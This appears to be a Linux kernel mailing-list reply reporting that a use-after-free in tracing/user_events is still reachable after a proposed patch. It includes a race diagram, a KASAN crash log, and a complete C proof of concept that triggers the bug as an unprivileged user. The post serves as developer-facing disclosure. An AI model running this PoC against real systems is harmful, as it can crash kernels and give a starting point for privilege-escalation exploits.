Re: [PATCH] tracing/user_events: fix use-after-free of enabler in user_event_mm_dup()
From: XIAO WU <hidden>
Date: 2026-06-22 17:04:06
Also in:
lkml, stable
Hi, I came across the Sashiko AI review [1] in this thread and wanted to share some test results that may be useful. First — thank you for this patch! The enabler UAF in user_event_mm_dup() is a real bug and the fix (kfree → kfree_rcu) is the right approach for protecting the RCU list walkers. The selftest results you included in the commit are also really helpful. However, I was able to reproduce a second UAF on the *user_event* object that the Sashiko review flagged — it's still reachable after the patch is applied. I've included a PoC and crash log below. On Thu, Jun 18, 2026 at 06:27:43PM -0400, Michael Bommarito wrote: > @@ -404,7 +407,12 @@ static void user_event_enabler_destroy(struct user_event_enabler *enabler, > /* No longer tracking the event via the enabler */ > user_event_put(enabler->event, locked); > > - kfree(enabler); > + /* > + * The enabler is removed from an RCU-traversed list > + * (user_event_mm_dup walks mm->enablers under rcu_read_lock only), > + * so the backing memory must outlive a grace period. > + */ > + kfree_rcu(enabler, rcu); > } The issue: user_event_put(enabler->event, locked) is called synchronously, before kfree_rcu(enabler, rcu). If this drops the last reference to the user_event, delayed_destroy_user_event() is scheduled on a workqueue, which calls destroy_user_event() → kfree(user). The user_event memory is freed without RCU protection. But the enabler itself is now protected by kfree_rcu — it remains visible to RCU readers in user_event_mm_dup() during fork(). Those readers access enabler->event (via user_event_enabler_dup → user_event_get(orig->event)), which now points to freed memory: fork() unregister ──────── ────────── user_event_mm_dup() rcu_read_lock(); list_for_each_entry_rcu(enabler, ...) user_event_enabler_destroy() list_del_rcu(enabler) user_event_put(enabler->event) → last ref! → schedule_work(put_work) kfree_rcu(enabler, rcu) user_event_enabler_dup(enabler, ...) [workqueue] enabler->event = delayed_destroy_user_event() user_event_get(orig->event); destroy_user_event() ↑ UAF: orig->event was freed! kfree(user_event) [Reproduction] The PoC runs as an unprivileged user with access to /sys/kernel/tracing/user_events_data. It creates two threads sharing the same mm: - fork_worker: continuously calls fork()/waitpid(), which triggers user_event_mm_dup() → RCU list walk - unreg_worker: continuously registers (DIAG_IOCSREG) and unregisters (DIAG_IOCSUNREG) an event enabler, which calls user_event_enabler_destroy() The race window is small but reproducible within a few iterations on a multi-CPU QEMU VM. [Crash log — kernel 7.1.0-next-20260618, CONFIG_KASAN=y, SMP] BUG: KASAN: slab-use-after-free in user_event_mm_dup+0x319/0x630 Write of size 4 at addr ffff88802c786fa8 by task poc/29997 Call Trace: <TASK> dump_stack_lvl print_report kasan_report kasan_check_range user_event_mm_dup+0x319/0x630 copy_process+0x650f/0x8090 kernel_clone+0x214/0x9c0 __do_sys_clone+0xce/0x120 do_syscall_64 entry_SYSCALL_64_after_hwframe </TASK> Allocated by task 29998: kasan_save_stack __kasan_kmalloc __kmalloc_cache_noprof user_event_parse_cmd+0x721/0x2aa0 user_events_ioctl+0xcc0/0x1d00 __x64_sys_ioctl do_syscall_64 Freed by task 5014: kasan_save_stack __kasan_slab_free kfree+0x165/0x710 destroy_user_event+0x375/0x4f0 delayed_destroy_user_event+0x8d/0x110 process_one_work worker_thread kthread Last potentially related work creation: queue_work_on user_event_put+0x25d/0x460 user_events_ioctl+0x1795/0x1d00 __x64_sys_ioctl do_syscall_64 ------------[ cut here ]------------ refcount_t: addition on 0; use-after-free. WARNING: lib/refcount.c:25 at refcount_warn_saturate+0xf9/0x120 Call Trace: user_event_mm_dup+0x349/0x630 The refcount warning on top of the KASAN report is a strong double confirmation: user_event_get(orig->event) is trying to increment a refcount on memory that has already been freed and zeroed. The PoC is attached below. It's a single C file, compiles with: gcc -o poc poc.c -static -lpthread [1] https://sashiko.dev/#/patchset/20260618222743.538915-1-michael.bommarito%40gmail.com (Sashiko AI code review — "Use-After-Free", Severity: Critical) Thanks, XIAO // PoC: user_event UAF on event object via user_event_mm_dup() #define _GNU_SOURCE #include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #include <fcntl.h> #include <errno.h> #include <pthread.h> #include <sched.h> #include <sys/mman.h> #include <sys/ioctl.h> #include <sys/wait.h> #include <stdint.h> #define DIAG_IOC_MAGIC '*' #define DIAG_IOCSREG _IOWR(DIAG_IOC_MAGIC, 0, struct user_reg*) #define DIAG_IOCSDEL _IOW(DIAG_IOC_MAGIC, 1, char*) #define DIAG_IOCSUNREG _IOW(DIAG_IOC_MAGIC, 2, struct user_unreg*) struct user_reg { uint32_t size; uint8_t enable_bit; uint8_t enable_size; uint16_t flags; uint64_t enable_addr; uint64_t name_args; uint32_t write_index; } __attribute__((__packed__)); struct user_unreg { uint32_t size; uint8_t disable_bit; uint8_t __reserved; uint16_t __reserved2; uint64_t disable_addr; } __attribute__((__packed__)); static volatile int stop_flag = 0; static void *enable_page = NULL; static const char *event_name = "poc_uaf_test"; static int open_fd(void) { int fd = open("/sys/kernel/tracing/user_events_data", O_WRONLY); if (fd < 0) fd = open("/sys/kernel/debug/tracing/user_events_data", O_WRONLY); return fd; } static int do_reg(int fd, void *addr) { struct user_reg reg = {0}; reg.size = sizeof(reg); reg.enable_bit = 0; reg.enable_size = 4; reg.flags = 0; reg.enable_addr = (uint64_t)(unsigned long)addr; reg.name_args = (uint64_t)(unsigned long)event_name; return ioctl(fd, DIAG_IOCSREG, ®); } static int do_unreg(int fd, void *addr) { struct user_unreg unreg = {0}; unreg.size = sizeof(unreg); unreg.disable_bit = 0; unreg.disable_addr = (uint64_t)(unsigned long)addr; return ioctl(fd, DIAG_IOCSUNREG, &unreg); } static void *fork_worker(void *arg) { pid_t pid; int status; cpu_set_t cpuset; CPU_ZERO(&cpuset); CPU_SET(1, &cpuset); pthread_setaffinity_np(pthread_self(), sizeof(cpuset), &cpuset); while (!stop_flag) { pid = fork(); if (pid == 0) _exit(0); else if (pid > 0) waitpid(pid, &status, 0); else usleep(100); } return NULL; } static void *unreg_worker(void *arg) { int fd; cpu_set_t cpuset; CPU_ZERO(&cpuset); CPU_SET(2, &cpuset); pthread_setaffinity_np(pthread_self(), sizeof(cpuset), &cpuset); while (!stop_flag) { fd = open_fd(); if (fd < 0) continue; /* Ensure an enabler exists, then unregister to destroy it */ if (do_reg(fd, enable_page) < 0 && errno == EADDRINUSE) { do_unreg(fd, enable_page); do_reg(fd, enable_page); } close(fd); fd = open_fd(); if (fd < 0) continue; do_unreg(fd, enable_page); close(fd); usleep(100); } return NULL; } int main(int argc, char **argv) { pthread_t t_fork, t_unreg; int fd, i, iters = 30; if (argc > 1) iters = atoi(argv[1]); printf("[+] PoC: user_event UAF in user_event_mm_dup\n"); printf("[+] Running %d iterations (3s each)\n", iters); enable_page = mmap(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0); if (enable_page == MAP_FAILED) { perror("mmap"); return 1; } memset(enable_page, 0, 4096); fd = open_fd(); if (fd < 0) { perror("open /sys/kernel/tracing/user_events_data"); return 1; } if (do_reg(fd, enable_page) < 0 && errno != EADDRINUSE) { perror("reg"); close(fd); return 1; } close(fd); printf("[+] Event initialized\n"); for (i = 0; i < iters; i++) { printf("[+] Iter %d/%d\n", i+1, iters); /* Re-create enabler */ fd = open_fd(); if (fd >= 0) { if (do_reg(fd, enable_page) < 0 && errno == EADDRINUSE) { do_unreg(fd, enable_page); do_reg(fd, enable_page); } close(fd); } stop_flag = 0; pthread_create(&t_fork, NULL, fork_worker, NULL); pthread_create(&t_unreg, NULL, unreg_worker, NULL); usleep(3000000); stop_flag = 1; pthread_join(t_unreg, NULL); pthread_join(t_fork, NULL); } printf("[+] Done\n"); return 0; }